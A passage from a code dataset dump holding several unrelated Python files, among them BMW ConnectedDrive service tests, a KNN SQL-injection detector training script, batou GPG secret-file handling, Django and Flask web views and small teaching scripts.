\"\"\"\n return self._list(unnamed=unnamed, limit=limit, offset=offset, desc=desc)\n\n def get_or_create(self, *, name: Optional[str] = None) -> Dict:\n \"\"\"Retrieve a named key-value store, or create a new one when it doesn't exist.\n\n https://docs.apify.com/api/v2#/reference/key-value-stores/store-collection/create-key-value-store\n\n Args:\n name (str, optional): The name of the key-value store to retrieve or create.\n\n Returns:\n dict: The retrieved or newly-created key-value store.\n \"\"\"\n return self._get_or_create(name=name)\n","sub_path":"src/apify_client/clients/resource_clients/key_value_store_collection.py","file_name":"key_value_store_collection.py","file_ext":"py","file_size_in_byte":2021,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"230601249","text":"\"\"\"Test for remote_services.\"\"\"\nimport datetime\nfrom test import (G31_VIN, MESSAGE_DATA, MESSAGE_REQUEST, POI_DATA,\n POI_REQUEST, TEST_PASSWORD, TEST_REGION, TEST_USERNAME,\n BackendMock, load_response_json)\nfrom unittest import mock, TestCase\n\nfrom requests.exceptions import HTTPError\n\nfrom bimmer_connected import remote_services\nfrom bimmer_connected.account import ConnectedDriveAccount\nfrom bimmer_connected.remote_services import (ExecutionState, Message,\n PointOfInterest,\n RemoteServiceStatus)\n\n\n_RESPONSE_LEGACY_UNKNOWN = 'remote_services/legacy_flash_unknown.json'\n_RESPONSE_LEGACY_INITIATED = 'remote_services/legacy_flash_initiated.json'\n_RESPONSE_LEGACY_PENDING = 'remote_services/legacy_flash_pending.json'\n_RESPONSE_LEGACY_DELIVERED = 'remote_services/legacy_flash_delivered.json'\n_RESPONSE_LEGACY_EXECUTED = 'remote_services/legacy_flash_executed.json'\n_MSG_EXECUTED = 'remote_services/legacy_msg_executed.json'\n\n_RESPONSE_EADRAX_INITIATED = 'remote_services/eadrax_service_initiated.json'\n_RESPONSE_EADRAX_PENDING = 'remote_services/eadrax_service_pending.json'\n_RESPONSE_EADRAX_DELIVERED = 'remote_services/eadrax_service_delivered.json'\n_RESPONSE_EADRAX_EXECUTED = 'remote_services/eadrax_service_executed.json'\n\n\nclass TestRemoteServices(TestCase):\n \"\"\"Test for remote_services.\"\"\"\n\n # pylint: disable=protected-access\n\n def test_parse_timestamp(self):\n \"\"\"Test parsing the timestamp format.\"\"\"\n timestamp = RemoteServiceStatus._parse_timestamp(\"2018-02-11T15:10:39.465+01\")\n expected = datetime.datetime(year=2018, month=2, day=11, hour=15, minute=10, second=39, microsecond=465000)\n self.assertEqual(expected, timestamp)\n\n def test_states(self):\n \"\"\"Test parsing the different response types.\"\"\"\n rss = RemoteServiceStatus(load_response_json(_RESPONSE_LEGACY_UNKNOWN))\n self.assertEqual(ExecutionState.UNKNOWN, rss.state)\n\n rss = RemoteServiceStatus(load_response_json(_RESPONSE_LEGACY_INITIATED))\n self.assertEqual(ExecutionState.INITIATED, rss.state)\n\n rss = RemoteServiceStatus(load_response_json(_RESPONSE_LEGACY_PENDING))\n self.assertEqual(ExecutionState.PENDING, rss.state)\n\n rss = RemoteServiceStatus(load_response_json(_RESPONSE_LEGACY_DELIVERED))\n self.assertEqual(ExecutionState.DELIVERED, rss.state)\n\n rss = RemoteServiceStatus(load_response_json(_RESPONSE_LEGACY_EXECUTED))\n self.assertEqual(ExecutionState.EXECUTED, rss.state)\n\n def test_trigger_remote_services(self):\n \"\"\"Test executing a remote light flash.\"\"\"\n remote_services._POLLING_CYCLE = 0\n remote_services._UPDATE_AFTER_REMOTE_SERVICE_DELAY = 0\n\n services = [\n ('LIGHT_FLASH', 'trigger_remote_light_flash', False),\n ('DOOR_LOCK', 'trigger_remote_door_lock', True),\n ('DOOR_UNLOCK', 'trigger_remote_door_unlock', True),\n ('CLIMATE_NOW', 'trigger_remote_air_conditioning', True),\n ('VEHICLE_FINDER', 'trigger_remote_vehicle_finder', True),\n ('HORN_BLOW', 'trigger_remote_horn', False),\n ('SEND_MESSAGE', 'trigger_send_message', False),\n ('SEND_POI', 'trigger_send_poi', False),\n ]\n\n for service, call, triggers_update in services:\n backend_mock = BackendMock()\n backend_mock.setup_default_vehicles()\n\n backend_mock.add_response(\n r'https://.+/eadrax-vrccs/v2/presentation/remote-commands/{vin}/.+$'.format(vin=G31_VIN),\n data_files=[_RESPONSE_EADRAX_INITIATED])\n\n backend_mock.add_response(\n r'https://.+/eadrax-vrccs/v2/presentation/remote-commands/eventStatus\\?eventId=.+',\n data_files=[\n _RESPONSE_EADRAX_PENDING,\n _RESPONSE_EADRAX_DELIVERED,\n _RESPONSE_EADRAX_EXECUTED])\n\n backend_mock.add_response(r'https://.+/webapi/v1/user/vehicles/{vin}/executeService'.format(vin=G31_VIN),\n data_files=[_RESPONSE_LEGACY_INITIATED])\n\n backend_mock.add_response(\n r'https://.+/webapi/v1/user/vehicles/{vin}/serviceExecutionStatus\\?serviceType={service_type}'.format(\n vin=G31_VIN, service_type=service),\n r'https://.+/webapi/v1/user/vehicles/{vin}/status'.format(\n vin=G31_VIN),\n data_files=[\n _RESPONSE_LEGACY_UNKNOWN,\n _RESPONSE_LEGACY_PENDING,\n _RESPONSE_LEGACY_DELIVERED,\n _RESPONSE_LEGACY_EXECUTED])\n\n # backend_mock.add_response(\n # r'https://.+/webapi/v1/user/vehicles/{vin}/status'.format(\n # vin=G31_VIN),\n # data_files=[_RESPONSE_LEGACY_EXECUTED])\n\n backend_mock.add_response(\n r'https://.+/eadrax-dcs/v1/send-to-car/send-to-car',\n data_files=[_MSG_EXECUTED],\n status_code=204)\n\n backend_mock.add_response(\n r'https://.+/webapi/v1/user/vehicles/{vin}/sendpoi'.format(\n vin=G31_VIN),\n data_files=[_MSG_EXECUTED],\n status_code=204)\n\n with mock.patch('bimmer_connected.account.requests', new=backend_mock):\n account = ConnectedDriveAccount(TEST_USERNAME, TEST_PASSWORD, TEST_REGION)\n mock_listener = mock.Mock(return_value=None)\n account.add_update_listener(mock_listener)\n vehicle = account.get_vehicle(G31_VIN)\n\n if service == 'SEND_MESSAGE':\n if account.server_url_eadrax:\n with self.assertRaises(NotImplementedError):\n response = getattr(vehicle.remote_services, call)(MESSAGE_DATA)\n response = RemoteServiceStatus({\"eventStatus\": \"EXECUTED\"})\n else:\n response = getattr(vehicle.remote_services, call)(MESSAGE_DATA)\n elif service == 'SEND_POI':\n response = getattr(vehicle.remote_services, call)(POI_DATA)\n else:\n response = getattr(vehicle.remote_services, call)()\n self.assertEqual(ExecutionState.EXECUTED, response.state)\n\n if triggers_update:\n mock_listener.assert_called_once_with()\n else:\n mock_listener.assert_not_called()\n\n def test_get_remote_service_status(self):\n \"\"\"Test get_remove_service_status method.\"\"\"\n backend_mock = BackendMock()\n\n with mock.patch('bimmer_connected.account.requests', new=backend_mock):\n account = ConnectedDriveAccount(TEST_USERNAME, TEST_PASSWORD, TEST_REGION)\n vehicle = account.get_vehicle(G31_VIN)\n\n if account.server_url_eadrax:\n backend_mock.add_response(\n r'https://.+/eadrax-vrccs/v2/presentation/remote-commands/eventStatus\\?eventId=None',\n status_code=500,\n data='[]'\n )\n with self.assertRaises(HTTPError):\n vehicle.remote_services._get_remote_service_status(remote_services._Services.REMOTE_LIGHT_FLASH)\n\n backend_mock.add_response(\n r'https://.+/eadrax-vrccs/v2/presentation/remote-commands/eventStatus\\?eventId=.+',\n data_files=[_RESPONSE_EADRAX_EXECUTED])\n\n status = vehicle.remote_services._get_remote_service_status(event_id=\"000000\")\n self.assertEqual(ExecutionState.EXECUTED, status.state)\n\n else:\n with self.assertRaises(IOError):\n vehicle.remote_services._get_remote_service_status(remote_services._Services.REMOTE_LIGHT_FLASH)\n\n backend_mock.add_response(\n r'https://.+/webapi/v1/user/vehicles/{vin}/serviceExecutionStatus\\?.+'.format(vin=G31_VIN),\n data_files=[_RESPONSE_LEGACY_EXECUTED])\n\n status = vehicle.remote_services._get_remote_service_status(\n remote_services._Services.REMOTE_LIGHT_FLASH\n )\n self.assertEqual(ExecutionState.EXECUTED, status.state)\n\n def test_parsing_of_poi_min_attributes(self):\n \"\"\"Check that a PointOfInterest can be constructed using only latitude & longitude.\"\"\"\n poi = PointOfInterest(POI_DATA[\"lat\"], POI_DATA[\"lon\"])\n msg = Message.from_poi(poi)\n self.assertEqual(msg.as_server_request, POI_REQUEST[\"min\"])\n\n def test_parsing_of_poi_all_attributes(self):\n \"\"\"Check that a PointOfInterest can be constructed using all attributes.\"\"\"\n poi = PointOfInterest(POI_DATA[\"lat\"], POI_DATA[\"lon\"], name=POI_DATA[\"name\"],\n additional_info=POI_DATA[\"additional_info\"], street=POI_DATA[\"street\"],\n city=POI_DATA[\"city\"], postal_code=POI_DATA[\"postal_code\"],\n country=POI_DATA[\"country\"], website=POI_DATA[\"website\"],\n phone_numbers=POI_DATA[\"phone_numbers\"])\n msg = Message.from_poi(poi)\n self.assertEqual(msg.as_server_request, POI_REQUEST[\"all\"])\n\n def test_parsing_of_message_min_attributes(self):\n \"\"\"Check that a Message can be constructed using text.\"\"\"\n msg = Message.from_text(MESSAGE_DATA[\"text\"])\n self.assertEqual(msg.as_server_request, MESSAGE_REQUEST[\"min\"])\n\n def test_parsing_of_message_all_attributes(self):\n \"\"\"Check that a Message can be constructed using text.\"\"\"\n msg = Message.from_text(MESSAGE_DATA[\"text\"], MESSAGE_DATA[\"subject\"])\n self.assertEqual(msg.as_server_request, MESSAGE_REQUEST[\"all\"])\n","sub_path":"test/test_remote_services.py","file_name":"test_remote_services.py","file_ext":"py","file_size_in_byte":9965,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"374176745","text":"import string\nimport random\n\nname = \"Баобаб\"\ntext = \" \"\nn = int(input())\nfor i in range(1, 1001):\n text += (random.choice(string.ascii_letters))\nprint((\"{0:^\" + \"%s\" % n + \"s}\").format(name))\na = 0\nfor i in range(1, 1001):\n if i % n == 0:\n print(text[a:i])\n a = i\n","sub_path":"1510_1/3.py","file_name":"3.py","file_ext":"py","file_size_in_byte":293,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"608271318","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Nov 20 19:06:57 2017\n\n@author: wf\n\"\"\"\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom sklearn import metrics\nfrom sklearn import neighbors\nfrom sklearn.model_selection import train_test_split\nfrom featurepossess import generate\nfrom sklearn.externals import joblib\n\nsql_matrix=generate(\"./data/sqlnew.csv\",\"./data/sql_matrix.csv\",1)\nnor_matrix=generate(\"./data/normal_less.csv\",\"./data/nor_matrix.csv\",0)\n\ndf = pd.read_csv(sql_matrix)\ndf.to_csv(\"./data/all_matrix.csv\",encoding=\"utf_8_sig\",index=False)\ndf = pd.read_csv( nor_matrix)\ndf.to_csv(\"./data/all_matrix.csv\",encoding=\"utf_8_sig\",index=False, header=False, mode='a+')\n\nfeature_max = pd.read_csv('./data/all_matrix.csv')\narr=feature_max.values\ndata = np.delete(arr, -1, axis=1) #删除最后一列\n#print(arr)\ntarget=arr[:,7]\n#随机划分训练集和测试集\ntrain_data,test_data,train_target,test_target = train_test_split(data,target,test_size=0.3,random_state=3)\n#模型\nclf=neighbors.KNeighborsClassifier(algorithm='ball_tree')#创建分类器对象，\nclf.fit(train_data,train_target)#训练模型\njoblib.dump(clf, './file/knn.model')\nprint(\"forestrandom.model has been saved to 'file/knn.model'\")\n#clf = joblib.load('svm.model')\ny_pred=clf.predict(test_data)#预测\nprint(\"y_pred:%s\"%y_pred)\nprint(\"test_target:%s\"%test_target)\n#Verify\nprint('Precision:%.3f' %metrics.precision_score(y_true=test_target,y_pred=y_pred))#查全率\nprint('Recall:%.3f' %metrics.recall_score(y_true=test_target,y_pred=y_pred))#查准率\nprint(metrics.confusion_matrix(y_true=test_target,y_pred=y_pred))#混淆矩阵\n\n\n\n","sub_path":"Homework/2019/Task5/1/code/sqlkNN.py","file_name":"sqlkNN.py","file_ext":"py","file_size_in_byte":1634,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"119431443","text":"from batou import FileLockedError\nfrom configupdater import ConfigUpdater\nimport fcntl\nimport glob\nimport io\nimport os\nimport shlex\nimport subprocess\nimport tempfile\n\n# https://thraxil.org/users/anders/posts/2008/03/13/Subprocess-Hanging-PIPE-is-your-enemy/\nNULL = tempfile.TemporaryFile()\n\nNEW_FILE_TEMPLATE = \"\"\"\\\n[batou]\nmembers =\n\"\"\"\n\n\nclass EncryptedFile(object):\n \"\"\"Basic encryption methods - key management handled externally.\"\"\"\n\n lockfd = None\n cleartext = None\n\n GPG_BINARY_CANDIDATES = [\"gpg\", \"gpg2\"]\n\n def __init__(self, encrypted_filename, write_lock=False, quiet=False):\n \"\"\"Context manager that opens an encrypted file.\n\n Use the read() and write() methods in the subordinate \"with\"\n block to manipulate cleartext content. If the cleartext content\n has been replaced, the encrypted file is updated.\n\n `write_lock` must be set True if a modification of the file is\n intended.\n \"\"\"\n self.encrypted_filename = encrypted_filename\n self.write_lock = write_lock\n self.quiet = quiet\n self.recipients = []\n\n def __enter__(self):\n self._lock()\n return self\n\n def __exit__(self, _exc_type=None, _exc_value=None, _traceback=None):\n self.lockfd.close()\n\n def gpg(self):\n with tempfile.TemporaryFile() as null:\n for gpg in self.GPG_BINARY_CANDIDATES:\n try:\n subprocess.check_call([gpg, \"--version\"],\n stdout=null,\n stderr=null)\n except (subprocess.CalledProcessError, OSError):\n pass\n else:\n return gpg\n raise RuntimeError(\"Could not find gpg binary.\"\n \" Is GPG installed? I tried looking for: {}\".format(\n \", \".join(\"`{}`\".format(x)\n for x in self.GPG_BINARY_CANDIDATES)))\n\n def read(self):\n \"\"\"Read encrypted data into cleartext - if not not read already.\"\"\"\n if self.cleartext is None:\n if os.path.exists(self.encrypted_filename):\n self.cleartext = self._decrypt()\n else:\n self.cleartext = ''\n return self.cleartext\n\n def write(self):\n \"\"\"Encrypt cleartext and write into destination file file. .\"\"\"\n if not self.write_lock:\n raise RuntimeError(\"write() needs a write lock\")\n self._encrypt(self.cleartext)\n\n def _lock(self):\n self.lockfd = open(self.encrypted_filename, self.write_lock and \"a+\"\n or \"r+\")\n try:\n fcntl.lockf(\n self.lockfd, fcntl.LOCK_EX | fcntl.LOCK_NB |\n (fcntl.LOCK_EX if self.write_lock else fcntl.LOCK_SH))\n except BlockingIOError:\n raise FileLockedError(self.encrypted_filename)\n\n def _decrypt(self):\n args = [self.gpg()]\n if self.quiet:\n args += ['-q', '--no-tty', '--batch']\n args += ['--decrypt', self.encrypted_filename]\n return subprocess.check_output(args, stderr=NULL).decode(\"utf-8\")\n\n def _encrypt(self, data):\n if not self.recipients:\n raise ValueError('Need at least one recipient.')\n os.rename(self.encrypted_filename, self.encrypted_filename + \".old\")\n args = [self.gpg(), '--encrypt']\n for r in self.recipients:\n args.extend(['-r', r.strip()])\n args.extend(['-o', self.encrypted_filename])\n try:\n gpg = subprocess.Popen(args, stdin=subprocess.PIPE)\n gpg.communicate(data.encode(\"utf-8\"))\n if gpg.returncode != 0:\n raise RuntimeError(\"GPG returned non-zero exit code.\")\n except Exception:\n os.rename(self.encrypted_filename + \".old\",\n self.encrypted_filename)\n raise\n else:\n os.unlink(self.encrypted_filename + \".old\")\n\n\nclass EncryptedConfigFile(object):\n \"\"\"Wrap encrypted config files.\n\n Manages keys based on the data in the configuration. Also allows\n management of additional files with the same keys.\n\n \"\"\"\n\n def __init__(self,\n encrypted_file,\n subfile_pattern=None,\n write_lock=False,\n quiet=False):\n self.subfile_pattern = subfile_pattern\n self.write_lock = write_lock\n self.quiet = quiet\n self.files = {}\n\n self.main_file = self.add_file(encrypted_file)\n\n # Add all existing files to the session\n if self.subfile_pattern:\n for other_filename in glob.iglob(self.subfile_pattern):\n self.add_file(other_filename)\n\n def add_file(self, filename):\n if filename not in self.files:\n self.files[filename] = f = EncryptedFile(filename, self.write_lock,\n self.quiet)\n f.read()\n return self.files[filename]\n\n def __enter__(self):\n self.main_file.__enter__()\n return self\n\n def __exit__(self, _exc_type=None, _exc_value=None, _traceback=None):\n self.main_file.__exit__()\n\n def read(self):\n self.main_file.read()\n if not self.main_file.cleartext:\n self.main_file.cleartext = NEW_FILE_TEMPLATE\n self.config = ConfigUpdater()\n self.config.read_string(self.main_file.cleartext)\n self.set_members(self.get_members())\n\n def write(self):\n s = io.StringIO()\n self.config.write(s)\n self.main_file.cleartext = s.getvalue()\n for file in self.files.values():\n file.recipients = self.get_members()\n file.write()\n\n def get_members(self):\n if 'batou' not in self.config:\n self.config.add_section('batou')\n try:\n members = self.config.get(\"batou\", \"members\").value.split(\",\")\n except Exception:\n return []\n members = [x.strip() for x in members]\n members = [_f for _f in members if _f]\n members.sort()\n return members\n\n def set_members(self, members):\n # The whitespace here is exactly what\n # \"members = \" looks like in the config file so we get\n # proper indentation.\n members = \",\\n \".join(members)\n self.config.set(\"batou\", \"members\", members)\n","sub_path":"src/batou/secrets/encryption.py","file_name":"encryption.py","file_ext":"py","file_size_in_byte":6438,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"173152583","text":"import sqlite3\n\ndef setup():\n c = conn.cursor()\n\n # Create tables\n c.execute(\"CREATE TABLE executions(\"\n \"id integer primary key autoincrement,\"\n \"timestamp text)\")\n\n c.execute(\"CREATE TABLE configs(\"\n \"id integer primary key autoincrement,\"\n \"execution_id integer,\"\n \"n_hidden_recurrent integer,\"\n \"n_hidden integer,\"\n \"use_pretrained_rbm_weights numeric,\"\n \"rbm_pretrained_weights_filename text,\"\n \"initialize_weight_Wuh numeric,\"\n \"initialize_weight_Wuv numeric,\"\n \"initialize_weight_Wvu numeric,\"\n \"initialize_weight_Wuu numeric,\"\n \"use_momentum numeric,\"\n \"momentum_amount real,\"\n \"use_nesterov_momentum numeric,\"\n \"nesterov_momentum_amount real,\"\n \"learning_rate real,\"\n \"learning_rate_decay real,\"\n \"use_L1_regularization numeric,\"\n \"lambda_1 real,\"\n \"use_L2_regularization numeric,\"\n \"lambda_2 real,\"\n \"num_epochs integer,\"\n \"FOREIGN KEY(execution_id) references executions(id))\")\n\n c.execute(\"CREATE TABLE results(\"\n \"id integer primary key autoincrement,\"\n \"execution_id integer,\"\n \"training_log_likelihood real,\"\n \"validation_log_likelihood real,\"\n \"timestamp text,\"\n \"FOREIGN KEY(execution_id) references executions(id))\")\n\n conn.commit()\n\ndef insertExecutions():\n c = conn.cursor()\n\n # Insert a row of data\n c.execute(\"INSERT INTO executions (timestamp) VALUES (strftime('%Y-%m-%d %H:%M:%f','now'))\")\n\n # Save (commit) the changes\n conn.commit()\n\n # We can also close the connection if we are done with it.\n # Just be sure any changes have been committed or they will be lost.\n\n\ndef insert():\n c = conn.cursor()\n\n # Insert a row of data\n c.execute(\"INSERT INTO results (execution_id,training_log_likelihood,validation_log_likelihood,timestamp) VALUES ('10','0.4','0.5',strftime('%Y-%m-%d %H:%M:%f','now'))\")\n\n # Save (commit) the changes\n conn.commit()\n\n # We can also close the connection if we are done with it.\n # Just be sure any changes have been committed or they will be lost.\n\n\ndef testSelect():\n c = conn.cursor()\n\n c.execute(\"SELECT max(id) FROM results\")\n (m,) = c.fetchall()[0]\n print(m)\n\n conn.commit()\n\ndef delete():\n c = conn.cursor()\n\n c.execute(\"delete from execution\")\n\n conn.commit()\n\n\nconn = sqlite3.connect('example.db')\nc = conn.cursor()\n#setup()\n#insertExecutions()\ninsert()\ntestSelect()\n#delete()\nconn.close()\n","sub_path":"implementation/temp/dbconnection.py","file_name":"dbconnection.py","file_ext":"py","file_size_in_byte":2729,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"653402193","text":"#-*- coding:utf-8 -*-\n\nfrom django.shortcuts import get_object_or_404, render\nfrom django.http import *\nfrom django.http import HttpResponse,HttpResponseRedirect\nfrom django.core.urlresolvers import reverse\nfrom django.views import generic\nfrom django.shortcuts import render_to_response\nfrom django.http import HttpResponse,HttpResponseRedirect\nfrom django.core.paginator import Paginator,InvalidPage,EmptyPage,PageNotAnInteger\nimport time,datetime\nfrom django.db.models import Q\nfrom django.db import connection\nfrom django.template import RequestContext \nfrom django.contrib.auth.models import User\nfrom django.views.generic.base import TemplateView\nfrom django.contrib.auth.decorators import login_required\n\nfrom UUBlog.common import pub,utility\nfrom UUBlog.apps.accounts.models import UserProfile\nfrom UUBlog.apps.accounts.views import viewaccounts\nfrom UUBlog.apps.blog.models import *\nfrom UUBlog.apps.blog import modules\nfrom UUBlog.apps.blog.views.baseblogview import *\n\nclass IndexView(UBaseBlogView):\n\n\n def GetContext(self, **kwargs):\n uid=int(kwargs.get(\"uid\",0))\n cid=int(kwargs.get(\"cid\",0))\n c2id=int(kwargs.get(\"c2id\",0))\n\n channelList=Channel.objects.filter(parent_id=0)\n parentChannel=Channel.objects.get(id=cid)\n childrenChannel=Channel.objects.filter(parent_id=cid)\n listenChannelId=cid\n\n try:\n childChannel=Channel.objects.get(id=c2id)\n listenChannelId=c2id\n\n articleList=Article.objects.order_by(\"-createtime\").filter(channel2_id=c2id)\n\n except:\n childChannel=None\n articleList=Article.objects.order_by(\"-createtime\").filter(channel1_id=cid)\n \n \n\n myChannelList=[]\n hasListened=False\n\n if self.currentBlog:\n dot=self.currentBlog.listenchannels.find(\"%s,\" %cid)\n hasListened=True if dot>-1 else False\n\n myChannelArray=self.currentBlog.listenchannels.split(\",\")\n for tempCId in myChannelArray:\n if tempCId!=\"\":\n myChannelList.append(Channel.objects.get(id=tempCId))\n\n \n\n self.template_name=\"blog/channel.html\"\n\n return locals()\n\ndef popular(request,cid=-1):\n userInfos=viewaccounts.UsersMeta(request,-1)\n\n myModules=[\"newuserlist\",\"hotarticlelist\",\"newarticlelist\"]\n moduleParams={}\n for myModule in myModules:\n moduleParams.setdefault(myModule,{})\n\n moduleList=modules.GetModuleList(moduleParams)\n\n articleList=Article.objects.order_by(\"-createtime\").filter(channel1_id=cid)\n\n\n channelList=Channel.objects.filter(parent_id=0)\n channelListPopular=Channel.objects.all()\n\n return pub.my_render_to_response(request,\"blog/channelpopular.html\",locals())\n\ndef my(request,cid=-1):\n userInfos=viewaccounts.UsersMeta(request,-1)\n\n myModules=[\"newuserlist\",\"hotarticlelist\",\"newarticlelist\"]\n moduleParams={}\n for myModule in myModules:\n moduleParams.setdefault(myModule,{})\n\n moduleList=modules.GetModuleList(moduleParams)\n\n articleList=Article.objects.order_by(\"-createtime\").filter(channel1_id=cid)\n\n\n channelList=Channel.objects.filter(parent_id=0)\n channelListPopular=Channel.objects.all()\n\n return pub.my_render_to_response(request,\"blog/channelpopular.html\",locals())\n\n\n\n","sub_path":"UUBlog/apps/blog/views/viewchannel.py","file_name":"viewchannel.py","file_ext":"py","file_size_in_byte":3307,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"24228494","text":"# project/server/admin/bestlap/views.py\n\nimport sys, datetime\nfrom flask import render_template, Blueprint, url_for, \\\n redirect, flash, request\nfrom flask_login import login_required, current_user\n\nfrom project.server import bcrypt, db\nfrom project.server.models import BestLap\nfrom project.server.dataservices import DataServices\nfrom project.server.admin.bestlap.forms import BestLapForm\n\n# Blueprints\nadmin_bestlap_blueprint = Blueprint('admin_bestlap', __name__,)\n\n# Helper Functions\n\n\ndef get_pghead():\n return 'BestLap'\n\n# Route Handlers\n\n# Best Lap\n@admin_bestlap_blueprint.route('/bestlap/main')\n@login_required\ndef main():\n if current_user.is_admin():\n return render_template('admin/bestlap/main.html', bestlaps=DataServices.get_model(BestLap), pghead=get_pghead())\n else:\n flash('You are not an admin!', 'danger')\n return redirect(url_for(\"user.members\"))\n\n@admin_bestlap_blueprint.route('/bestlap/create', methods=['GET', 'POST'])\n@login_required\ndef create():\n if current_user.is_admin():\n form = BestLapForm(request.form)\n form.racer.choices = DataServices.get_availableRacers()\n form.raceclass.choices = DataServices.get_modelChoices('RaceClass', 'name')\n form.event.choices = DataServices.get_modelChoices('Event', 'name')\n\n if form.validate_on_submit():\n bestlap = BestLap(\n time=form.time.data,\n lap_date=form.lap_date.data\n )\n if form.is_best.data == True:\n bestlap.is_best=1\n else:\n bestlap.is_best=0\n\n bestlap.racer_id = form.racer.data\n bestlap.raceclass_id = form.raceclass.data\n bestlap.event_id = form.event.data\n db.session.add(bestlap)\n db.session.commit()\n\n flash('New best lap created.', 'success')\n return redirect(url_for(\"admin_bestlap.main\", pghead=get_pghead()))\n return render_template('admin/bestlap/create.html', form=form, pghead=get_pghead())\n else:\n flash('You are not an admin!', 'danger') \n return redirect(url_for(\"user.members\"))\n\n@admin_bestlap_blueprint.route('/bestlap/update//', methods=['GET', 'POST'])\n@login_required\ndef update(bestlap_id):\n if current_user.is_admin():\n bestlap = DataServices.get_filterbyFirstQuery('BestLap', 'id', 'bestlap_id')\n form = BestLapForm(request.form)\n form.racer.choices = DataServices.get_availableRacers()\n form.raceclass.choices = DataServices.get_modelChoices('RaceClass', 'name')\n form.event.choices = DataServices.get_modelChoices('Event', 'name')\n\n \n if form.validate_on_submit():\n bestlap.racer_id = form.racer.data\n bestlap.raceclass_id = form.raceclass.data\n bestlap.event_id = form.event.data\n bestlap.time = form.time.data\n bestlap.lap_date = form.lap_date.data\n if form.is_best.data == True:\n bestlap.is_best=1\n else:\n bestlap.is_best=0\n\n bestlap.updated_date = datetime.datetime.now()\n db.session.commit()\n\n flash('Best Lap Updated.', 'success')\n return redirect(url_for(\"admin_bestlap.main\", pghead=get_pghead()))\n \n if bestlap:\n form.racer.data = bestlap.racer\n form.raceclass.data = bestlap.raceclass\n form.event.data = bestlap.event\n form.time.data = bestlap.time\n form.lap_date.data = bestlap.lap_date\n form.is_best.data = bestlap.is_best\n\n return render_template('admin/bestlap/update.html', bestlap=bestlap, form=form, pghead=get_pghead())\n else:\n flash('You are not an admin!', 'danger')\n return redirect(url_for(\"user.members\"))\n\n@admin_bestlap_blueprint.route('/bestlap/delete//')\n@login_required\ndef delete(bestlap_id):\n if current_user.is_admin():\n bestlap = DataServices.get_filterbyFirstQuery('BestLap', 'id', 'bestlap_id')\n bestlap.delete()\n db.session.commit()\n flash('The best lap was deleted.', 'success')\n return redirect(url_for('admin_bestlap.main', pghead=get_pghead()))\n else:\n flash('You are not an admin!', 'danger')\n return redirect(url_for(\"user.members\"))","sub_path":"project/server/admin/bestlap/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4349,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"31707119","text":"principal_amount = int(input(\"What is the principal amount? \"))\nrate_of_interest = float(input(\"What is the rate? \"))\nyears_of_investment = int(input(\"What is the number of years? \"))\nnumber_of_periods = int(input(\"What is the number of times the interest is compounded per year? \"))\n\nvalue_of_investment = principal_amount * (1 + ((rate_of_interest / 100) / years_of_investment))**(years_of_investment * number_of_periods)\n\nrate_converted_to_str = str(rate_of_interest)\n\nprint('${:d} invested at {:s}% for {:d} years\\ncompounded {:d} times per year is ${:,.2f}.'.format(principal_amount, rate_converted_to_str, years_of_investment, number_of_periods, value_of_investment))","sub_path":"determining_compound_interest/python/determining_compound_interest.py","file_name":"determining_compound_interest.py","file_ext":"py","file_size_in_byte":673,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"410118524","text":"\"\"\"\n1. map() function is a built-in function that allows you to process and transform all the items in an iterable without\nusing an explicit for loop, a technique commonly known as mapping.\n\n2. map() maps a function with an iterable. The functions transforms the each item of the iterable/iterator and returns a new map object\nwhich is an iterator.\n\n3. General Syntax of map() function. map(function, iterable[, iterable1, iterable2,..., iterableN])\n\n4. map() applies the function to each item in the iterable in the loop and returns a new iterator, which you can feed it to next() function.\n\n5. The first argument to the map function is a callable. This includes built-in functions, classes, methods, lambda expressions/functions.\n\n6. The advantage of map function is that, it returns an iterator object and not a list. So the memory consumption is less. Each item inside the map\nobject can be obtained on-demand.\n\"\"\"\n\n# Square Numbers in the list. Using map function\ndef squares(item):\n return item ** 2\n\nnums = [1, 2, 3, 4, 5]\n\nsquared_numbers = map(squares, nums) # map returns a map object\n\n# Using lambda function\nsquared_numbers = map(lambda item: item ** 2, nums)\n\n# Iterator over the map object\nfor number in squared_numbers:\n print(number)\n\n# List of even numbers between range 1-50\ndef evens(item):\n if item % 2 == 0:\n return item\neven_numbers = map(evens, range(1, 51))\n\n# Build a list of tuples with string and its length pair\nnames = ['apple', 'google', 'yahoo', 'facebook', 'yelp', 'flipkart', 'gmail', 'instagram', 'microsoft']\n\ndef len_item_pair(item):\n return (item, len(item))\n\npairs = map(len_item_pair, names)\n\nprint(list(pairs))\n\n# Type Conversion\nstr_nums = [\"1\", \"2\", \"3\", \"4\", \"5\"]\nint_items = map(int, str_nums)\nprint(list(int_items))\n\n# inbuilt abs func\nnumbers = [-1, -2, 4, 5, -6]\nabs_values = map(abs, numbers)\n\n# Different precesions of pi values using map func\nfrom math import pi\npi_values = map(round, [pi, pi, pi, pi], [1, 2, 3, 4])\nprint(list(pi_values))\n\n# passing two arguments to an user defined function.\nexp = map(lambda x, y: 2*x + 3*y, [1, 2, 3, 4], [5, 6, 7, 8])\nprint(list(exp))\n\n\"\"\"\nNOTE: If we pass two iterables with different length's, the iteration\nstops at the shortest length\n\"\"\"\n\n# Convert to upper case\nsentence = \"This is bunch of words\"\nucase = map(str.upper, sentence.split())\n\n# Using strip function.\nwords = ['This ', ' is', ' Python', ' Programming ', ' Language ']\nstripped = map(str.strip, words)\nprint(list(stripped))\n\n# Factorial of a numbers\nfrom math import factorial\nf = map(factorial, [1, 2, 3, 4])\nprint(list(f))\n\n# 